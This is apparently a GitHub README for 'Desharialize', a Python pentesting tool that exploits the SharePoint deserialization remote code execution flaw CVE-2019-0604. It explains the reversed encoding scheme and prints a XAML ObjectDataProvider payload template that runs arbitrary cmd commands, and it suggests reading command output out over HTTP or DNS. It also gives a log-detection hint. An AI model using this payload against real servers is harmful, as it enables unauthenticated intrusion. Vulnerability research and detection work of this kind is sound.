Skip to content


Switch branches/tags

Latest commit


Git stats


Failed to load latest commit information.


Desharialize: Easy mode to Exploit CVE-2019-0604 (Sharepoint XML Deserialization Unauthenticated RCE)


What is it?

While there have been public POCs for CVE-2019-0604, I have noticed that those POCs are not clear, extensible or flexible. Some of them only have on hardcoded (and serialized/encoded) payloads, some of them require running custom .NET code before every payload, and some would run the payload on your machine first during the serialization process. I have reversed and analyzed the simple serialization/encoding algorithm used by Sharepoint, and I have created a raw template that can be used to serialize any custom payload on the fly without having to run .NET code for each payload, or run payloads that you can't read.

Find below usage examples for Desharialize as well as a brief explanation of the serialization process.


To better utilize this tool in pentesting Sharepoint:

  • It is assumed that you know what is the Sharepoint CVE-2019-0604
  • It is assumed that you have found a vulnerable (Unpatched) Sharepoint server.
  • It is assumed that you have found a vulnerable endpoint on that Sharepoint server (e.g.


  • Python 3.
  • The requirements listed in the requirements.txt file


pip3 install -r requirements.txt

Better to create a virtualenv environment for the tool. Please note that using sudo with pip is not recommended.


  • Mohammed Aldoub, also known as Voulnet, find me on Twitter

Main Features

  • Run custom serialized payloads on targets (Make sure you have authorization from system owners!).
  • Launch the payload on any vulnerable Sharepoint version without having to look for compatible Assembly names.
  • No need to play musical chairs with dynamically changing VIEWSTATE and EVENTVALIDATION values, Desharialize scrapes them from the target automatically.
  • Make pentesting Sharepoint fun again.
  • This tool is aimed at testing Picker.aspx endpoints in particular. Not tested at other endpoints.
  • This tool runs commands through the target's command shell using Sharepoint privileges, but no way to read output directly.
  • To read output, another channel is needed: Sending result through HTTP, DNS or other options.
  • Load commands from a file: This means no need for annoying, pesky escaping and encoding of values to paste stuff into the shell.
  • Burp Collaborator can help!


PRs are welcome!


Installing and running an older version of Sharepoint to test this tool is a very annoying and cumbersome process. Installing and configuring Sharepoint was actually the only difficult thing in the process of developing this tool. To spare you sweat and blood, you may find these resources helpful, they contain a VM with Sharepoint pre-installed. You might need to fix up some licenses issues such as rearming Windows license, configuring a Developer license for MSSQL, and so on. The links are: Sharepoint 2016 Ready made VM and Sharepoint 2013 Ready made VM

Brief Explanation of the serialization process

In my analysis of this vulnerability, I noticed that the vulnerability has been explained in depth by the authors of the awesome links you will find in the References section below. I will attempt to explain the serialization process, because this is what allowed me to create a dynamic payload you can change on the fly without calling .NET code every time.

The serialized string is a XamlReader ExpandedWrapper which contains our payload in its XML format, An example taken from this POC is:

	<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
			<System:String>/c calc</System:String>

To serialize it, .NET calls a function called Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId, which takes this string object and performs some operations resulting finally in the serialized payload which looks like "__bp123435009700370047005600d60...etc" By decompiling this function and debugging its code flow, we can see the following:


Here the function adds __ to the start of the string, then checks the number of objects sent to be serialized, here it's 1, so it adds 1 to 97 to convert the result into ascii (b ascii is 98 decimal), so the string becomes __b


After that, the code loops on the type of the element being serialized, it's currently of type object, so it looks up a table of types and their values from an array called typeHash.


When we decompile this array, we will find that the object type is the type #16, which has an index of 15 (starting from zero!), so the code adds the value of 15 to 97 resulting in 112, which is p in decimal, now the serialized string becomes __bp


Next, we check the type of the object being sent to be serialized, which is of type object, so we enter this if statement, where it takes our input, serialized it using the XmlSerializer class of .NET, then appends in front of it the the XamlReader Assembly Qualified name + ":" plus the XML serialized payload, so it looks like this:

System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089:<?xml version="1.0" encoding="utf-16"?>
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="" xmlns:xsd="">
    <ObjectInstance xsi:type="XamlReader" />
      <anyType xsi:type="xsd:string">&lt;ResourceDictionary xmlns='' xmlns:x='' xmlns:System='clr-namespace:System;assembly=mscorlib' xmlns:Diag='clr-namespace:System.Diagnostics;assembly=system'&gt;&lt;ObjectDataProvider x:Key='y' ObjectType='{x:Type Diag:Process}' MethodName='Start'&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c COMMANDHERE &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt; </anyType>

After that, this serialized string, whose encoding is utf-16 is sent to be Hex-encoded, and then reversed, and also the length of this serialized string (after encoding, hexing and reversing) is calculated in hex (the length, that is - also encoded, hexed and reversed) and then put in front of the string so we have a string for example like "__bp82c135009700370047005600d60...etc", which actually means length of 82c1, so reversing that is 1c28 in hex, meaning 7208 in decimal. After that we have 35009700370047005600, so let's reverse that into 00530079007300740065, and decoding this from utf-16 and hex, we have 0x5379737465 which in ascii is System (System...etc etc)

So the way this tool works is that it takes a premade serialized string, adds a known serialized-reversed-hexed string to it, takes your command input, serializes-hexes-encodes it and then puts it instead of the premade serialized placeholder, and voila! You now can put your own dynamic serialized string without having to run dotnet code or be restricted to the public payloads available online.


  • More testing against a wider range of versions and service packs for Sharepoint.
  • Integrate fully with Metasploit.


Check your web server logs for request containing "71e9bce111e9429c" For more awesome detection steps, Snort and Sigma rules, please visit: Mansour Alsaeedi Blog -

References and further info

Mansour Alsaeedi Blog -


k8gege POC

.NET POC to create serialized payload

[ dotnet deserialization payload generator] (


By using this tool, you absolve the tool author from any effect or repercussions resulting, directly or indirectly, from usage of this tool. This tool is provided as is, with no warranty or guarantee. This tool must only be used on legally authorized targets, and by using this tool you hereby declare that you have obtained proper legal permission from the tested targets, and that you fully absolve the tool author from any and all means and results, directly or indirectly, of utilizing this free open source tool.


  • Raise an issue here in Github.
  • Contact me on Twitter.


No description, website, or topics provided.







No releases published


No packages published